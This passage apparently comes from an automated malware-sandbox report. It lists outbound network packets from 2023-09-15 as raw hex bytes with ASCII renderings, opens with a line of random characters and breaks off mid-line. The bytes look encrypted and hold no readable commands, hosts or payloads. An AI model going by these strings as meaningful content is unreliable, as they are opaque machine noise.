}g;F@F\|OFGh;)+N_j\|Zv0\2?p`f-lm3JoSz+qv~pN1mS/@`.v\|yM1]_&q2@c,^&.Pj_8~qKr2SKb`q`W
2023-09-15 20:16:20 UTC	384	OUT	Data Raw: f3 83 dd 58 e8 05 fc 53 7c d6 54 7d 64 0d 34 12 21 f5 0b 6d 3d da a4 9b 08 e0 d0 ed 3b 6e 05 11 71 75 5b 14 07 cb 55 0d b0 74 fb 6f 4c 2a c2 16 8a 6a b9 bc aa bc 4d 69 cd 59 fe 25 3c 56 16 dc d5 13 ed 18 43 a5 42 68 c1 a1 32 10 54 80 95 1c 02 2e 11 22 22 d9 67 26 c8 ed b9 63 d6 e4 15 cf 06 94 c9 76 42 a8 2a 42 5e 41 a2 40 d3 f5 16 5e d2 f7 4e 27 df 42 93 8d dd bf 56 24 21 a9 9e 89 f0 3d 00 3a f5 f0 83 6e c3 47 61 1e 6c 75 86 54 01 09 3f 31 1b 70 6e 1a ee 25 e8 6c 05 74 2d 8a 37 fe e1 f2 5e f1 da eb 84 68 1f 75 87 cf c3 75 73 ae 14 0f db 4a bf ab 7b d4 b7 ca 10 f2 ec 15 24 be 48 e3 18 92 36 4a 36 0f f9 fe 5a d7 ea 78 9f e4 e2 78 1f 8d 9c 8d df 23 eb ed 71 cb 28 3b 6a 81 ea 2a 39 67 ef 97 de 6a 38 69 9d a4 02 c1 e3 73 64 9e c8 2b f5 67 dc b7 dc ba 35 49 0b Data Ascii: XS\|T}d4!m=;nqu[UtoLjMiY%<VCBh2T.""g&cvBB^A@^N'BV$!=:nGaluT?1pn%lt-7^huusJ{$H6J6Zxx#q(;j*9gj8isd+g5I
2023-09-15 20:16:20 UTC	400	OUT	Data Raw: d6 06 ee f7 f4 52 d8 f8 09 75 e0 8d 36 19 cf 56 30 6e 36 ff 4e 19 64 bd 03 97 26 bd 5f 33 d0 76 78 7f 46 7d bf a5 6f ec cf 1d 14 1e 10 38 f4 38 c7 93 0a fc aa e1 43 b4 56 82 fa d8 db b9 03 f9 24 bd 60 34 53 fb 21 0c f9 7c e4 74 88 4c 84 f9 65 a3 e7 a0 ac 45 fe 32 fc 8d 41 73 44 84 3f 86 e3 81 ce ab 93 da 8a f1 11 fc 4b 6e ba cd 91 14 02 02 02 43 1e e3 d7 a9 c2 df 65 c8 47 bf d1 93 66 f8 28 77 07 7e 43 ff 76 07 88 45 1a b9 60 dd 52 a3 5f 34 42 14 9f 48 c5 3d 9c 4e a2 3a dd 3f fd 2e 4f b0 44 f7 9b ef 35 03 9b 27 55 50 68 34 17 b5 10 dc 3e c9 e6 bd 7e e8 35 db ce e5 c1 99 48 24 81 86 5b 3c a2 87 85 5e e8 a5 8a 2d 47 5a 7c 05 b1 c0 95 0f 9d 68 49 bd c3 30 b0 c7 59 4e 33 f6 7b 2a 6f 4d 21 53 31 88 a7 dd a5 ad 94 69 d2 62 7a fc 75 00 0a 30 84 4c b2 2b af 61 8d Data Ascii: Ru6V0n6Nd&_3vxF}o88CV$`4S!\|tLeE2AsD?KnCeGf(w~CvE`R_4BH=N:?.OD5'UPh4>~5H$[<^-GZ\|hI0YN3{*oM!S1ibzu0L+a
2023-09-15 20:16:20 UTC	416	OUT	Data Raw: 0e 6e 87 85 7c ed f1 87 16 73 2a 3b 7f e4 94 7f fe 1b 31 ac fe 86 60 69 b0 a5 f7 91 e1 4c 4e 1a 33 c4 3b 4d df 3a 05 cd 46 1f 62 13 7c c5 c3 61 d8 41 50 7c 56 f6 6e b6 0c 1b 53 ce c8 56 f3 e2 da 41 76 e3 e3 47 41 35 ec f1 43 40 22 ff 4b 2d a0 70 d5 56 aa 9d 7f af ee 04 f7 59 04 19 e2 fb 1f 93 5d 32 f8 79 bd 75 2b 0d e2 e3 7a 16 55 5b 4d 88 b2 bf cf 62 69 3b 7b 44 23 5e d7 85 3e 6b bc 4b 58 2d 10 55 db 22 5c 94 13 4a ab 09 d5 34 7c 8e ea b4 4e 5b c7 11 80 ed 6e 83 ba 80 bf 74 52 83 2f dc f8 e9 bb b9 cd b2 9a 5d fc 4e 99 5e c8 3c 08 27 52 07 fc 52 a4 49 b7 3d 2b b2 a0 2c 43 fe ee 73 d0 7f b2 d8 08 49 5b 8c 9b 18 64 62 7a dc a1 f7 77 1f b2 86 2c f8 49 c0 e1 fe 9f 6d 45 34 d3 86 5b a0 ec 91 47 2f e3 55 4a 28 21 09 0d a9 47 0c d0 c3 0c 7d e6 d3 9e c3 f4 e3 02 Data Ascii: n\|s*;1`iLN3;M:Fb\|aAP\|VnSVAvGA5C@"K-pVY]2yu+zU[Mbi;{D#^>kKX-U"\J4\|N[ntR/]N^<'RRI=+,CsI[dbzw,ImE4[G/UJ(!G}
2023-09-15 20:16:20 UTC	432	OUT	Data Raw: 70 5c 2d b1 11 d6 28 90 9a d9 f3 4c f7 2c 42 03 d2 e7 6e 89 36 ce 07 b4 93 18 5c 0f 27 3d 6f 5e 4e d4 2b 32 c9 ad fa 21 6e bc 60 87 d8 bf 12 20 74 3e 74 9e b0 cd cc b7 d7 84 dd 5b 9b 91 5b fa 7d 19 8c 2f 08 b7 20 76 62 10 e0 c7 9f 7d 0e 64 c3 a7 4e 3c 81 8d ab 27 36 fe 1a a0 1f 31 cf 29 0b 55 e7 26 13 84 a6 d5 09 07 22 df 00 16 bf 56 68 e3 68 ec 93 09 67 83 04 0c 2e 6a bb 5c a3 cf f9 13 a1 2c 11 be 7b b6 ce 5a 75 08 2b 3b 54 47 d0 56 ab 5e 0c f1 3d 1c b8 73 13 09 c9 fb 63 1f be 84 17 9a d4 55 68 2d a7 30 1e 2a cd 08 1c 36 d9 3b da cb be 5c a5 f7 45 76 fc be 71 2f a4 13 fa 2c d7 64 73 6b 8d d6 a5 aa 87 80 70 26 34 7a 61 9e 33 ed 95 7b 1d 4e f1 e0 3f b4 22 8a e2 1e 65 47 98 f2 ba 79 b6 cb 49 9d 57 61 82 42 2a ed 50 50 99 04 c7 ca fe 55 90 26 8d 5f d1 1b 76 Data Ascii: p\-(L,Bn6\'=o^N+2!n` t>t[[}/ vb}dN<'61)U&"Vhhg.j\,{Zu+;TGV^=scUh-06;\Evq/,dskp&4za3{N?"eGyIWaBPPU&_v
2023-09-15 20:16:20 UTC	448	OUT	Data Raw: cb bb 5e 4b af 7a fa 9a 5d b9 59 82 07 bc 3c 2f a2 b0 8a df 74 27 26 07 c2 22 eb ac b5 57 80 96 c3 df d6 68 98 ca e4 8c ee d9 44 07 8e 27 86 24 ab 21 d3 7f 05 5d 7a c4 a6 b7 ab 6f 06 16 51 4b a3 b9 fd 9b 26 0a 5d c7 65 64 ce 01 7c c7 dc d0 3d 57 0b e4 15 e7 4c 07 30 a2 6a a2 75 9d a0 1c 38 ef f8 5d cb 25 63 30 5b f5 3f 65 09 20 06 44 68 ec 61 72 c4 ec bf 09 b9 6f 4c 41 c4 df 5a 26 fe da ac a2 7d a8 2f 98 5f 18 b4 1a d6 0c 2f 41 9b c1 72 6c a0 b1 01 d9 99 90 9a 92 d9 73 b7 20 02 2f 29 48 45 7e 5d 4e 4d c6 6c 08 0e 00 86 d2 fd 32 21 b9 91 cd a0 75 f2 d5 d3 ed 70 9c 55 77 5c 41 e7 6e 84 e5 01 e8 2b f0 47 d6 09 1d ac f6 cb d3 7a 80 6f a1 46 0e cc 39 ec 80 fe 76 78 00 71 09 71 9f 31 ca d6 c2 1c 82 0f 8d 61 28 21 e5 5f 53 74 24 02 24 91 8d d0 49 7b fe c8 ee a3 Data Ascii: ^Kz]Y</t'&"WhD'$!]zoQK&]ed\|=WL0ju8]%c0[?e DharoLAZ&}/_/Arls /)HE~]NMl2!upUw\An+GzoF9vxqq1a(!_St$$I{
2023-09-15 20:16:20 UTC	464	OUT	Data Raw: cc 68 7f 64 d1 c3 5d 64 48 16 dd de 83 b4 3b 21 8a 21 14 68 93 2b ed 7c 43 09 14 04 1d 00 e9 28 11 6a e0 fb 9b 76 41 2f b5 f9 ac cd e4 3a bc 70 2b e7 bd b7 da 2a 05 2b 97 e7 0c 01 2f ca cd 98 ad fc ea f3 a1 d6 d6 fa 1a 74 cc e4 62 e8 db 79 36 7e 9b ad c6 fa ad 54 5e 85 bb e4 4c 00 60 d1 8a 46 1d 98 1a 0a 59 c6 db cb 86 ed ca bd 1b 77 cf 74 8d 8a 2e 54 7e e9 f6 a0 f8 91 b4 fe 24 ab af 42 12 a5 a7 03 ea eb 6e 70 64 67 d2 8b 6e 1f da 74 2f 25 e1 25 cb 09 5b 2e 24 6a b8 bb de 91 fd 39 92 1f 15 79 eb fb 8a 9c 4c 92 4e fe b8 30 fa 2c 02 34 2c a8 91 73 17 b8 6d 02 e6 24 cb 3f 04 e3 b8 53 99 fd 59 08 92 b9 4c 59 e1 2c 08 91 bf 41 35 c2 ab c5 33 b4 20 2a f2 3b 95 07 f7 59 11 95 94 c4 1b 67 9d c9 d1 d2 19 34 07 9b 55 2b 9f 4c c4 6f 71 7e fb 47 ff e0 10 eb 17 41 56 Data Ascii: hd]dH;!!h+\|C(jvA/:p++/tby6~T^L`FYwt.T~$Bnpdgnt/%%[.$j9yLN0,4,sm$?SYLY,A53 ;Yg4U+Loq~GAV
2023-09-15 20:16:20 UTC	480	OUT	Data Raw: 97 a6 03 a8 fe 76 3e 2a e0 21 b5 a4 b5 f3 06 56 4a ab 34 05 4f 7e ed a5 1d b8 4d 65 d1 81 9a f9 2e 52 52 b3 3b 90 a8 a1 34 7c 5c cf 85 88 de 89 a6 5b 60 a0 4b 89 23 2e 9d 88 85 b5 d4 37 54 76 85 04 12 b6 e5 a1 93 ef b8 28 0d 6f ab d1 3c db 5e 64 38 ab 2b f8 2c dd ad ec 34 7f 0e ec 43 ca ef 55 b4 cf ee 73 6f ec 89 28 d5 fb 9e 62 ad 22 3c 69 d9 1a 63 d1 f6 1b bc 26 2e 1f 26 06 08 0d 47 24 4b fe bb 18 1d 26 0e 28 8c 3f 76 92 18 c9 0f f3 24 2a 78 e5 82 46 aa ad a0 74 59 68 c0 6b e2 aa 4d 39 97 3a 39 37 00 34 4a 2c 6f be c8 b2 02 32 ad c4 af e3 0c d8 8e 19 e0 d2 ad 0b 9d 55 cb ef 81 40 03 83 d8 dd 90 bd 86 e0 3c 24 33 9f 0f 2f 5d 94 e7 14 ba fb a6 d8 0a c1 b6 35 77 cc 9a 9f 26 35 c3 9b 3d 39 dc 0f ac bb 14 5a 17 d5 44 49 5b 7b 52 ad 0f 62 82 02 96 20 29 5e 3c Data Ascii: v>!VJ4O~Me.RR;4\|\[`K#.7Tv(o<^d8+,4CUso(b"<ic&.&G$K&(?v$xFtYhkM9:974J,o2U@<$3/]5w&5=9ZDI[{Rb )^<
2023-09-15 20:16:20 UTC	496	OUT	Data Raw: 20 c7 87 32 34 ab bf 87 ca d4 8b 27 3c bb 09 99 b8 e0 51 ad f6 fd b1 98 02 57 ca c9 d0 dd c5 f2 43 0d b9 15 92 49 a0 44 1b 97 7e 46 2a 85 da d9 06 f1 98 0c e1 35 26 c3 6a 75 7b a8 da ce b7 bc f6 17 ac c6 97 30 04 86 02 83 04 c8 f2 2d 30 04 98 2f 2a 59 86 99 4c 8e 67 8a fd ea 04 a8 33 4d 02 5b 5f 11 4b fd 50 30 7b 9e 46 77 56 1d 0a 25 35 8e 54 6d 75 76 61 a9 f5 80 0c b3 06 2e f2 a5 70 6c 0a 01 76 13 bb fa 9f a0 f5 5e 77 61 fb 08 3c b1 3e 2a fd 94 08 8e da 90 f3 14 82 d1 db cd f6 ed b7 c0 c0 2a 63 74 3c 29 89 a2 01 ea 53 1c 27 f6 14 71 88 9f 1d cc 42 61 5f 16 7f 1e 9d 9b 13 60 a5 4b dd 3a a8 3b 9a bc 84 dc d8 16 74 88 8e 30 db 8d c4 26 d9 cb f7 bf 2c be 9a f6 02 ea 07 6b ad 00 45 fb 62 4d 34 13 ed d5 f5 10 56 f5 ff 1d 48 ce c4 e3 cc 19 3a 08 ba dd 32 ae 0e Data Ascii: 24'<QWCID~F5&ju{0-0/YLg3M[_KP0{FwV%5Tmuva.plv^wa<>**ct<)S'qBa_`K:;t0&,kEbM4VH:2
2023-09-15 20:16:20 UTC	512	OUT	Data Raw: 97 f0 90 45 ea 9e f5 ea 1b fe d8 ad 50 cb f9 13 c8 a3 0e 27 35 cf b9 f3 3b f4 0f b2 c6 62 31 f0 18 f5 d4 0b 5e 17 97 8b 0b a3 c9 d4 a1 6d a3 8a ed b1 a0 d0 aa 3b 7e 6d ce e6 52 15 29 e8 a7 d1 6f 07 39 8c 8f b0 46 d1 d8 2d 82 11 21 6e 91 ba b2 6e 58 5f 98 b2 f7 a7 3d 7a 67 15 fb a3 2a 4e b8 21 be e4 48 39 82 53 fc b2 6a 61 b2 31 ad 1f 2e f0 df ba 6b e3 22 cc 4c 04 e6 65 30 1c b9 3a 6e 4c 82 ba 97 37 fa 7e 9f a2 90 88 d8 3a 3d c7 a4 2e 1b 96 f3 3a ac c4 a0 dd 89 76 6e eb 92 cb 44 5d 73 ee 0c 54 00 e4 12 d9 95 ce 57 78 8c 2a 7e f9 c8 0b 33 1f f8 4d 84 05 97 e0 86 d3 06 50 54 48 dc 2b f5 f7 95 13 ac eb 1f 29 51 4e 98 5a d6 96 77 30 e7 44 5d e1 c1 70 fc 8b c9 21 b1 28 23 18 75 a5 5b 9a 81 ee 02 cd 58 88 73 ec c3 80 f3 13 1b 2a aa f6 73 14 1e 20 6c ab 10 a8 3e Data Ascii: EP'5;b1^m;~mR)o9F-!nnX_=zgN!H9Sja1.k"Le0:nL7~:=.:vnD]sTWx~3MPTH+)QNZw0D]p!(#u[Xs*s l>
2023-09-15 20:16:20 UTC	528	OUT	Data Raw: 96 97 35 e6 93 c4 92 f5 ce d3 3d e0 35 99 37 2a ec f5 5b be c1 fb c3 b6 40 b5 28 18 d2 4c cd d3 8e 64 0a 75 88 82 1e 27 dd be 3b 2a 41 56 1f 87 b9 ec f1 09 97 6e 24 6f 2b 15 87 97 46 8a b7 22 01 2d 54 e7 16 ca d2 e9 f5 c2 d2 64 64 6b 21 27 f8 db 19 37 52 55 1e 2d 65 54 3f 86 68 fb 10 7f 1a 03 b3 36 b4 6b c7 4e 1a 6b ed 51 81 96 5d 5a 60 ce 88 91 c3 d4 ef a8 56 b3 1a c5 03 17 35 04 f2 3d 8f 01 c6 11 7e 59 09 be 30 60 b3 b5 a3 ef 73 e3 d0 d7 15 96 d5 d8 51 98 8c 2f 12 5d 0a 8b 4d 67 50 0e d9 cc a5 69 bf 64 c7 2f c9 56 c2 74 ef 77 32 73 85 af 5d e1 ce 5b 2b 05 7b 7e 31 8c de 2a cd 97 bc 8e 39 56 b2 47 a9 3e 05 61 5f 6e dd 97 aa 5e 05 f3 00 cf dc 91 7b 39 5d 9d 59 99 fa 36 63 8b 05 d9 8e c7 d0 cf 13 26 cb d9 04 f6 5a c7 15 0e 56 17 3d 31 c9 75 00 f6 97 1d dc Data Ascii: 5=57[@(Ldu';AVn$o+F"-Tddk!'7RU-eT?h6kNkQ]Z`V5=~Y0`sQ/]MgPid/Vtw2s][+{~1*9VG>a_n^{9]Y6c&ZV=1u
2023-09-15 20:16:20 UTC	544	OUT	Data Raw: 0b 5a 2a 4e fd 52 ed e2 8c a8 5b fc c2 57 48 34 41 94 b2 2e dd c6 29 7c 51 74 81 a9 40 82 34 d2 27 df cb df 2a 5b 2a a8 60 b2 55 ba ed 08 cc ac 0b 31 b9 33 9e cb ca 34 dc 84 8a 8e a0 81 e0 87 74 d8 63 8e 9c fc 28 85 58 91 36 d9 a2 e1 f9 c2 3e ce 8f 65 ad c8 a8 9e d8 4e 80 8a 48 6e 76 6c da 0d 68 bd e8 75 4e 9e d1 b9 b7 71 6f 98 01 e5 4b 3f 69 36 92 90 50 de f9 91 63 a3 d8 40 4a 08 31 9d 40 a8 2c 62 cd bb cb 34 67 12 fa fa fb e9 c6 9c 08 57 81 00 01 a2 43 b0 55 5d fd 89 c7 45 5e 86 f0 38 a9 f4 1b c1 74 36 59 ff 7c 29 90 65 65 31 a9 f7 28 48 bd a0 20 cf e8 fd 46 eb cd 51 d4 79 d7 1e f6 5e ed 09 ca 6d da 39 b5 32 20 e8 51 23 e5 c5 ee 5a 9a 20 7d ad 57 c6 f0 80 a0 8e 97 cd c4 a1 58 df 79 4c 33 72 88 ad 1f e8 03 1f bb 96 cb 87 c8 c4 11 0b c4 87 2b eb 8f 81 37 Data Ascii: ZNR[WH4A.)\|Qt@4'[*`U134tc(X6>eNHnvlhuNqoK?i6Pc@J1@,b4gWCU]E^8t6Y\|)ee1(H FQy^m92 Q#Z }WXyL3r+7
2023-09-15 20:16:20 UTC	560	OUT	Data Raw: 9b b7 c6 91 b2 83 84 bd 79 5b 85 6d d9 06 fa 9a 8b 88 88 a0 cc 06 4b 79 bf ac 4b bd 64 09 5b 5a 41 3a 91 e9 92 2a cd c3 d8 38 13 3f 6c 7a 4a 98 bc 98 11 c3 38 1c ff 5b a4 f3 81 64 33 c0 bd 4c f2 cd 51 9f ce e2 1d 5b f5 61 13 85 77 d1 20 de a1 8b 49 59 52 a4 48 cb ec bf 68 cc 0d 40 29 ce 5e 86 85 24 5e be cf 56 f6 c9 90 68 96 b4 4d 53 fd e7 46 65 9f 19 25 80 0e a8 d7 2f 6f 1c 48 b0 f1 a3 3c f6 9a 73 19 1f 8f 12 06 57 d4 ec 83 b6 3e c6 82 4e af 56 ee 1e 02 0e 18 f3 da c4 e3 e2 d1 4f 4a bb 58 54 3f 76 c7 4a 52 86 2b 0d 29 3d 5a 61 ff e6 3b df 3d 18 00 48 5b d5 b6 b5 94 38 62 c3 4a b8 10 6b 94 dc cd 28 c2 12 0e f3 9f df bd 60 33 a8 18 f2 da 33 38 29 02 19 30 d1 c8 0c dd 4a d0 bc 00 40 69 74 0a 2f 25 9a f3 d1 ac e0 02 e5 25 51 ad f6 49 0f e4 66 35 a6 3f 9e c0 Data Ascii: y[mKyKd[ZA:*8?lzJ8[d3LQ[aw IYRHh@)^$^VhMSFe%/oH<sW>NVOJXT?vJR+)=Za;=H[8bJk(`338)0J@it/%%QIf5?
2023-09-15 20:16:20 UTC	576	OUT	Data Raw: 80 32 9c cd 6a a9 04 4c 7a 0c 5e fc 1d 07 17 11 60 c4 ce 37 c6 7d f4 39 53 bb bb 9a eb d0 9e 14 c5 dc 3a 47 42 49 c1 2d 90 e0 26 75 85 a3 73 db 4f d2 e5 4f f5 df 20 7c 85 9a b7 b6 c2 a3 ba e9 8f e2 02 2c 6f 14 25 a0 cd c1 ec 40 93 c4 b8 c7 1d b5 59 24 0a 8d ee d8 f5 b8 3e 48 3b 8c d7 5c 0c 83 53 02 93 55 8c 6b af 76 81 a8 0c da 38 85 58 d4 92 c9 7d 1f 29 b8 52 54 2d 6b c5 6e ea b8 1e 28 64 94 53 b1 ae c8 45 29 a0 62 81 a6 35 c8 19 a5 a7 f0 2e f4 f8 1b 1d c6 9f 75 ce 46 0b 44 46 5c e0 67 3d 44 1e 9b 42 0e 06 28 2d 22 ea 0f ab 86 70 5b 56 59 03 5e 9f 53 1d 65 99 5f 37 df 98 cf 37 e1 cd b2 bc 06 92 8e 6f 2c 1b 87 ca 43 b2 1d 0f 93 a4 aa fa 43 52 24 8d f4 6e 4e bc 99 ed e7 3c 41 94 b2 38 13 bc d2 d3 b3 a8 39 58 d5 9b e3 b2 87 55 09 74 8f 7a cd 12 4f 79 94 3a Data Ascii: 2jLz^`7}9S:GBI-&usOO \|,o%@Y$>H;\SUkv8X})RT-kn(dSE)b5.uFDF\g=DB(-"p[VY^Se_77o,CCR$nN<A89XUtzOy:
2023-09-15 20:16:20 UTC	592	OUT	Data Raw: e9 6d 89 9f fd b3 b1 63 23 bf 22 4f 0d 97 b1 d2 9f 00 9d 4e 86 b8 a7 cd 7b e8 9f a0 66 9e 05 d8 11 f0 5f a5 bd 37 80 2f 2c ca bf ab 54 93 b6 1f ac bb 98 0a e9 c4 90 5e 95 56 2b ff f2 76 a2 22 e9 c9 df 1c 46 43 6b 0f 2c 0c 29 63 6e 8d 5f 32 cc ab f0 48 50 63 ff da ed c9 f6 c6 7c 54 ac c0 40 a2 08 63 f0 70 88 87 6d 43 f6 06 ae 1c 6e ca 22 16 2a 7b 5d 6b 9a 42 d3 40 30 f8 19 8d 51 7f 3f b1 2f 8e 8c c2 b5 92 cc 96 1b d0 54 9e f2 8e 59 6a 92 60 18 a1 b4 15 e5 2a 67 57 6e c6 fa f0 3e 49 d6 48 45 a7 29 45 93 63 e1 63 8d 82 e6 e5 c4 a3 6f c6 00 89 fd 51 62 71 9c b7 97 64 12 80 34 6b 6d 0c ad 11 d9 f7 e9 a7 99 0e e9 3e 38 a6 37 b8 9c 23 d6 55 a3 8d f2 d2 7b 3d b2 1d 40 96 68 19 7d 0b 70 25 5a 4f 3f f2 fc 8e 07 fa 40 a2 89 b5 86 34 f0 8f a2 20 5d 28 af a7 2d 11 e1 Data Ascii: mc#"ON{f_7/,T^V+v"FCk,)cn_2HPc\|T@cpmCn"{]kB@0Q?/TYj`gWn>IHE)EccoQbqd4km>87#U{=@h}p%ZO?@4 ](-
2023-09-15 20:16:20 UTC	608	OUT	Data Raw: 47 b2 c6 2f 2f bb 2a 8a 0a d6 b5 a4 b3 b9 5e f5 2d f6 23 5c 39 c7 e9 c4 af 79 a1 f7 ba db 5b 06 dc da c5 d5 fa 79 1b 20 ea 50 91 ab 1d fd 8d bc 1c 5e 52 1a 0b ed 98 61 b1 60 f6 c4 ee 20 cb e8 9a 6a 1f f0 6b df 2c d3 98 13 d2 08 df 35 92 c6 8c ce 49 bd 67 47 36 8f 58 c4 52 5b 96 6b 66 78 11 7a 9b d3 a3 7c 06 ea be 72 3f 8a 4d 9c 03 fb 73 94 69 e5 1f ad d9 31 f8 ee 23 17 eb 57 ef 22 07 6d 00 4d f8 9d b7 c8 01 4e 56 a7 03 b4 12 f4 5e 18 3c 32 9e 21 b5 8c e3 d8 8c 04 23 a3 df d0 2c 90 d4 8f aa a6 e4 fd 2e b9 55 6f b4 29 ef 8c 3e bf 55 7a 76 81 58 3f e4 76 ff 44 fc b1 37 4b a9 c7 fb 54 17 fc 16 a5 c1 a3 94 85 34 c4 06 05 e9 cc 4b be ef f4 db 8f da 52 29 59 55 d3 58 94 7e b9 42 da 87 de 86 ad 2a 95 2a db a2 b9 b4 fa 1b 9f 40 30 a7 45 a9 87 df bd 19 66 2f 93 06 Data Ascii: G//^-#\9y[y P^Ra` jk,5IgG6XR[kfxz\|r?Msi1#W"mMNV^<2!#,.Uo)>UzvX?vD7KT4KR)YUX~B*@0Ef/
2023-09-15 20:16:20 UTC	624	OUT	Data Raw: dd 80 9c b3 b7 fe e5 44 0c 41 53 9f 4c 32 09 39 b3 ca 57 c3 87 71 ba b8 7d ad 37 ed 9b 73 2a 15 27 1f 8d 77 68 5b 3a 05 fa 2e 4f b8 bd bc d0 25 14 75 14 94 2d f4 c5 7f dd 05 54 61 56 ec 3b 19 99 03 c4 11 12 9f f4 83 0e 57 68 67 32 44 69 e4 eb 4d 6a 5b 77 13 8e 14 5e f6 d6 2f 5e 78 f2 d0 30 11 7a 4f 0a d8 bd 9c 2e a6 e9 b1 c1 36 6a b9 06 b6 ed 9c e9 cd a4 e8 42 6c 4f 67 59 68 75 28 cf 7b 49 f9 6c c9 28 a5 c9 d0 5f 9a 24 22 89 4c 4a cb fe b4 69 3b fb 1b 40 55 3f a2 ac eb 05 26 1c ee 1f b7 d7 40 2a 7f 85 dc 57 6a 6c 27 67 6a dd 90 29 70 4d 67 86 1c 42 61 99 04 7f 0e e8 cf f4 00 68 39 96 fb 43 52 33 59 6f 56 cb e7 5d a7 eb 6c 2d 38 c8 c6 18 a8 21 50 38 f5 4d 54 30 e5 c2 e8 b8 5d 98 7f 6d 10 88 9b 8c 1a 23 b5 72 72 44 6e fd ae 56 ac 46 3d 4e ec 5b 39 aa 86 67 Data Ascii: DASL29Wq}7s'wh[:.O%u-TaV;Whg2DiMj[w^/^x0zO.6jBlOgYhu({Il(_$"LJi;@U?&@Wjl'gj)pMgBah9CR3YoV]l-8!P8MT0]m#rrDnVF=N[9g
2023-09-15 20:16:20 UTC	640	OUT	Data Raw: 8f 44 da b1 af 1c 5e d0 e2 f7 b8 7b 32 d5 cd 54 4b 0f 15 9e fd 61 a5 8b b4 88 d3 31 2e 81 9e 29 09 bc 88 b5 91 b6 93 88 bf e3 ba da 1f 4c 7d 60 c9 b2 f1 dc f5 24 48 73 43 4a f7 db 27 68 d6 81 b6 f5 d1 c6 37 52 ff 02 3b be fe 31 66 6c 62 4c 34 a7 9b ea fe ad 23 bb 65 29 b8 c8 c7 5b 13 ca f6 a1 52 d5 f6 bf 31 ca 04 2a 83 d2 45 c0 77 67 96 1b 7e fe e1 78 de 1e f9 6f e4 2a e7 16 e9 23 17 d4 79 0c 1e dd 5c d3 d7 5a f8 4c 87 73 9b 81 ac 19 ee ac bd 98 78 f6 ba 8e 87 99 27 c7 2e 04 3d ca 89 60 81 f6 96 3f ab 11 3b 35 f3 84 57 fa 37 40 b1 f5 a4 04 4b 7d ca bd c4 86 87 49 9e b5 db 26 78 e2 3b fc 73 4d e9 40 00 b5 a9 9f 83 46 b0 10 3c 2d 33 df a4 61 ba 52 29 18 29 24 33 4d 90 4b d3 5d cb 90 d8 d1 66 3a e3 28 07 2f bd f9 4a 91 49 8a 2d 64 77 dd fa e3 4b e7 b9 9b 08 Data Ascii: D^{2TKa1.)L}`$HsCJ'h7R;1flbL4#e)[R1Ewg~xo#y\ZLsx'.=`?;5W7@K}I&x;sM@F<-3aR))$3MK]f:(/JI-dwK
2023-09-15 20:16:20 UTC	656	OUT	Data Raw: ca fb f5 31 1c 0a aa 2e 64 14 56 40 f1 5b 2b 08 9e 6d 0a fc d5 a8 af 23 64 b0 eb 08 4c a9 8b 33 6e 55 1f 4b 1e 9f 2e 7f ec f6 b3 57 8c 23 f5 36 f9 e2 78 2e 15 f4 43 55 47 56 55 3c 83 9a 2b de 7a d6 98 8b 4c bc 68 36 2c 72 d9 08 9f 05 09 60 f7 00 e2 67 56 0b d5 78 2c 4a ba ad ca fa 65 e4 1d 9f 3b ba 9b 98 24 3d 0d 1f 8f 91 22 38 70 3a bd f4 29 d0 ad 16 b6 51 09 23 4b 8a 01 50 92 fc 3a 14 40 0c 42 b5 02 f4 07 7c b1 53 27 57 16 b7 ff d7 6d ae b1 0f 47 bf db c1 65 06 8c 5d 0b 0a b6 c8 8e 65 26 08 b4 e8 49 99 4b 1c a2 ad b6 24 1b 00 5f 0a da 25 df 48 95 c5 3b 06 21 7b b6 96 34 2b 46 d0 6c 13 14 a7 76 28 0e 28 09 6d 4c 17 4f c7 00 32 fa c4 64 8c 31 ed 1e 9a 9d ff 23 50 7d 81 c7 f1 7f 45 5d 8c bc 90 ea ab 04 5e f9 ec 6b ce 46 ad 89 61 91 ed 80 ca 07 9a 4e d5 fc Data Ascii: 1.dV@[+m#dL3nUK.W#6x.CUGVU<+zLh6,r`gVx,Je;$="8p:)Q#KP:@B\|S'WmGe]e&IK$_%H;!{4+Flv((mLO2d1#P}E]^kFaN
2023-09-15 20:16:20 UTC	672	OUT	Data Raw: d5 db 48 6c 80 c3 fe 32 c8 e9 ce 43 08 ac 2b f2 6f bb 94 43 5b de 1a 80 a9 80 e2 6e ff f2 b3 f6 c0 8d ab e0 71 b6 2e b0 7c 18 90 c0 78 62 6a 56 cd b7 4a a8 e7 bb 2e 31 31 e0 39 8f f9 39 f9 c0 e8 6a 5e 84 9c 8c a0 51 59 90 1d b4 68 34 a2 bd 86 07 b3 20 31 bc 24 03 b0 48 39 36 9e 6e 64 f9 32 2f 6f 5e 64 45 b9 a8 9b 01 a4 e2 9d d2 28 dd 8b 9f 6e f1 c5 7d 2f e2 ca 6f 9d 99 43 60 54 1c 91 1f 60 2d bf b5 bb 03 10 64 b7 33 80 66 96 8a c2 26 d9 d4 ec ca b1 98 16 f0 7e 4b 02 ef a6 11 6b 4b 40 76 21 88 06 3e fb 90 61 05 e4 19 13 7f 6b 31 74 6b 48 dc fd 43 c5 c5 40 12 57 ba 41 32 f4 8f 9d af b6 87 60 c4 65 ed 0f 96 a9 4a 95 26 bc b4 59 ca 7b 58 4d 72 71 a8 6e 3e 1b 16 86 e0 2e b8 dc 94 a6 32 5a bd 40 10 fb 45 ff 55 cb 41 c7 fe d6 13 99 8c 91 6a 50 63 46 44 83 cd 00 Data Ascii: Hl2C+oC[nq.\|xbjVJ.1199j^QYh4 1$H96nd2/o^dE(n}/oC`T`-d3f&~KkK@v!>ak1tkHC@WA2`eJ&Y{XMrqn>.2Z@EUAjPcFD
2023-09-15 20:16:20 UTC	688	OUT	Data Raw: 6e d2 46 84 27 28 02 19 4d d6 4b 2d ee 45 cf ac b1 d7 07 ec 5a 86 d4 9f b0 9b 3c 69 d6 13 4a c1 05 c7 91 52 7d 8d ae 25 8a 41 20 22 f3 b5 f0 68 5d 5b d2 a2 fb 60 e0 87 82 5f 59 b2 5c 17 9e eb 13 47 30 0d b3 01 cd 7d 9b d3 8b 1f 38 bb e3 f5 25 80 8e 68 fc ee b9 88 a4 1c 05 27 7a 16 dd 39 fb cc f5 2c 23 dc f1 db 41 08 0b 86 dd 65 60 ee 14 c3 46 d4 56 7c f2 76 9b 38 81 7b aa 26 61 6e 77 16 8f 0b 32 bb a2 c5 38 7d 34 e2 44 2d 58 90 ee 6c 46 e1 42 22 d2 bc 91 47 14 bf d6 fd c4 3c bf 65 13 14 21 f3 f3 1a ca c8 ae 04 3e da b9 ce 37 5b 2a 33 b4 dd e2 cd fb 84 bb 9f 81 b3 51 77 76 8b a5 94 e9 51 e7 dd b9 23 c8 e0 da f7 39 ac a5 6e 69 76 57 